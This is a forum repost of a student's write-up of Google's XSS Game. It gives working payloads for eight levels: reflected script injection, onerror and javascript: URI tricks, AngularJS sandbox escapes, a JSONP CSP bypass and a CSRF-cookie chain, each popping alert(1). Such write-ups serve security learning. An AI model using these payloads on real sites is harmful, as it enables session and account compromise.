搜索

[11307] 2017-05-04_Google最新XSSGameWriteup

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-05-04_Google最新XSSGameWriteup G o o g l e 最 新 X S S   G a m e   W r i t e u p 原 创   c D d u b z 8   F r e e B u f   2 0 1 7 - 0 5 - 0 4 *   原 创 作 者 ： c D d u b z 8 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 本 文 介 绍 了 如 何 完 成 谷 歌 最 新 的 本 文 介 绍 了 如 何 完 成 谷 歌 最 新 的 X S S G a m e 的 过 程 ， 完 成 了 这 八 个 挑 战 就 有 机 会 获 得 的 过 程 ， 完 成 了 这 八 个 挑 战 就 有 机 会 获 得 N e x u s   5 x 。 实 际 上 这 八 个 挑 战 总 体 来 说 。 实 际 上 这 八 个 挑 战 总 体 来 说 都 不 难 ， 都 是 些 常 见 的 都 不 难 ， 都 是 些 常 见 的 x s s 。 通 关 要 求 是 只 要 能 弹 出 。 通 关 要 求 是 只 要 能 弹 出 a l e r t 窗 口 即 可 。 窗 口 即 可 。 第 一 关 第 一 关     反 射 型 x s s ， 在 搜 索 框 提 交 的 内 容 最 后 会 出 现 在 结 果 页 面 的 h t m l 代 码 里 ， 没 有 任 何 过 滤 ， 直 接 搜 索 ： < s c r i p t > a l e r t ( ' f r e e b u f ' ) < / s c r i p t > 第 二 关 第 二 关   还 是 反 射 型 ， 提 交 内 容 后 会 有 一 定 延 迟 。 通 过 查 看 h t m l 源 码 可 以 知 道 延 迟 的 时 间 （ t i m e r = ） 被 直 接 插 入 到 了 i m g 标 签 里 的 o n l o a d 事 件 里 ： < i m g   i d = " l o a d i n g "   / >
  直 接 请 求 u r l ： / ? t i m e r = ’ - a l e r t ( 1 ) - ’ ， 通 关 。 第 三 关 第 三 关   展 示 了 一 些 猫 的 图 片 ， 当 图 片 换 了 后 ， u r l 只 是 变 化 了 # 后 面 的 内 容 （ # 1   >   # 2 ) ， 感 觉 可 以 通 过 这 个 i d 来 反 射 x s s 。 查 看 源 代 码 ： f u n c t i o n   c h o o s e T a b ( < u s e r   p r o v i d e d > )   {           v a r   h t m l   =   " C a t   "   +   p a r s e I n t ( < u s e r   p r o v i d e d > )   +   " < b r > " ;           h t m l   + =   " < i m g   s r c = ' / s t a t i c / i m g / c a t "   +   < u s e r   p r o v i d e d >   +   " . j p g '   / > " ;                       d o c u m e n t . g e t E l e m e n t B y I d ( ' t a b C o n t e n t ' ) . i n n e r H T M L   =   h t m l ;                       / /   S e l e c t   t h e   c u r r e n t   t a b           v a r   t a b s   =   d o c u m e n t . q u e r y S e l e c t o r A l l ( ' . t a b ' ) ;           f o r   ( v a r   i   =   0 ;   i   <   t a b s . l e n g t h ;   i + + )   {                   i f   ( t a b s [ i ] . i d   = =   " t a b "   +   p a r s e I n t ( < u s e r   p r o v i d e d > ) )   {                           t a b s [ i ] . c l a s s N a m e   =   " t a b   a c t i v e " ;                   }   e l s e   {                           t a b s [ i ] . c l a s s N a m e   =   " t a b " ;                   }           }
                      w i n d o w . l o c a t i o n . h a s h   =   < u s e r   p r o v i d e d > ;                       / /   T e l l   p a r e n t   w e ' v e   c h a n g e d   t h e   t a b           t o p . p o s t M e s s a g e ( { ' u r l ' :   s e l f . l o c a t i o n . t o S t r i n g ( ) } ,   " * " ) ; } 哼 ， 根 据 上 一 关 的 灵 感 ， 感 觉 可 以 继 续 利 用 一 下 o n 事 件 ， 修 改 i d 后 ， 图 片 肯 定 是 不 存 在 的 ， 于 是 使 用 o n e r r o r ：         # 1 ' o n e r r o r = a l e r t ( 1 ) > 搞 定 第 四 关 第 四 关 打 开 后 是 一 个 注 册 页 面 ， 让 我 们 填 写 邮 箱 地 址 ， 注 册 完 成 后 通 过 u r l 里 面 的 n e x t 参 数 把 我 们 跳 转 回 主 页 ， 查 看 源 码 ： < s c r i p t >     s e t T i m e o u t ( f u n c t i o n ( )   {   w i n d o w . l o c a t i o n   =   < u s e r   p r o v i d e d > ;   } ,   1 0 0 0 ) ; < / s c r i p t >   在 h t m l 中 ， 链 接 可 以 是 j s 代 码 ， 比 如 : < a   h r e f = " j a v a s c r i p t : . . . " > < / a > 直 接 请 求 这 个 跳 转 u r l ：
c o n f i r m ? n e x t = j a v a s c r i p t : a l e r t ( 1 ) 第 五 关 第 五 关 一 个 F 歌 （ f o o g l e ） 搜 索 框 ， 使 用 了 a n g u l a r J S   1 . 5 . 8 ， 感 觉 是 爆 过 漏 洞 的 ， 上 某 网 搜 索 ( a n g u l a r j s   1 . 5 . 8   i n j e c t i o n ) 找 到 利 用 方 法 ： ? u t m _ t e r m = & u t m _ c a m p a i g n = { { x   =   { ' y ' : ' ' . c o n s t r u c t o r . p r o t o t y p e } ;   x [ ' y ' ] . c h a r A t = [ ] . j o i n ; $ e v a l ( ' x = a l e r t ( 1 ) ' ) ; } }
第 六 关 第 六 关 a n g u l a r J S   1 . 2 版 本 的 搜 索 框 ， 在 搜 索 框 中 提 交 的 内 容 最 终 进 到 了 c l a s s 为 n g - n o n - b i n d a b l e 的 d i v 标 签 里 ：     # 普 通 的 d i v 标 签 < d i v > N o r m a l :   { { 1   +   2 } } < / d i v >     # 输 出 ： N o r m a l :   3     # n g - n o n - b i n d a b l e < d i v   n g - n o n - b i n d a b l e > I g n o r e d :   { { 1   +   2 } } < / d i v >     # 输 出 ： I g n o r e d :   { { 1   +   2 } }   随 后 发 现 如 果 直 接 提 交 花 括 弧 会 被 删 掉 ， 于 是 使 用 “ & l c u b ; ” ， 最 后 构 造 这 样 一 个 u r l ： ? q u e r y = & l c u b ; & l c u b ; a = ' c o n s t r u c t o r ' ; b = & l c u b ; } ; a . s u b . c a l l . c a l l ( b [ a ] . g e t O w n P r o p e r t y D e s c r i p t o r ( b [ a ] . g e t P r o t o t y p e O f ( a . s u b ) , a ) . v a l u e , 0 , ' a l e r t ( 1 ) ' ) ( ) } } 第 七 关 第 七 关 通 过 G E T （ 参 数 m e n u ） 和 J S O N P 请 求 加 载 了 一 个 博 客 页 面 ， 而 响 应 的 t i t l e , p i c t u r e s 会 被 处 理 为 h 1 标 签 和 i m g 标 签 。 关 卡 提 示 ： c o m m o n   C S P   b y p a s s 。   猜 测 x s s 可 能 会 在 m e n u 参 数 里 ， J S O N P 里 的 c a l l b a c k 参 数 可 以 用 来 注 入 我 们 的 j s 代 码 ， 开 始 构 造 我 们 的 u r l ： ? m e n u = b a s e 6 4 _ e n c o d e ( < s c r i p t   > < / s c r i p t > ) 第 八 关 第 八 关 要 求 是 对 任 何 用 户 都 有 效 ， 无 论 是 登 录 的 还 是 未 登 录 的 ， 要 想 通 过 必 须 得 利 用 C S R F , s e l f - x s s , C S P 。 / t r a n s f e r 下 是 个 很 明 显 的 反 射 性 x s s ， 所 以 难 度 在 于 怎 样 设 置 c s r f _ t o k e n 可 以 匹 配 c o o k i e 。 最 后 发 现 在 登 录 后 会 有 一 个 请 求 设 置 用 户 c o o k i e 并 把 用 户 重 定 向 到 主 页 ， u r l 如 下 ：
  s e t ? n a m e = u s e r n a m e & v a l u e = < u s e r n a m e > & r e d i r e c t = i n d e x   # 作 孽 啊 ！ 根 据 这 个 u r l 就 可 以 猜 测 到 后 端 代 码 写 得 是 有 多 简 陋 。 。 。 有 了 这 个 作 孽 的 东 西 ， 我 们 就 可 以 设 置 自 己 的 c s r f _ t o k e n 并 把 用 户 重 定 向 到 / t r a n s f e r , 以 便 执 行 我 们 注 入 的 j s 代 码 。 构 造 如 下 u r l ： s e t ? n a m e = c s r f _ t o k e n & v a l u e = < c s r f _ t o k e n > & r e d i r e c t = u r l _ e n c o d e ( / t r a n s f e r ? n a m e = f r e e b u f e r & a m o u n t = 3 " > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > & c s r f _ t o k e n = < c s r f _ t o k e n > ) 写 出 这 种 代 码 的 ， 在 我 们 那 是 要 被 B G M 的 ！   高 中 生 第 一 次 写 w r i t e u p ， 如 有 不 足 望 担 待 ， 勿 喷 。 *   原 创 作 者 ： c D d u b z 8 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理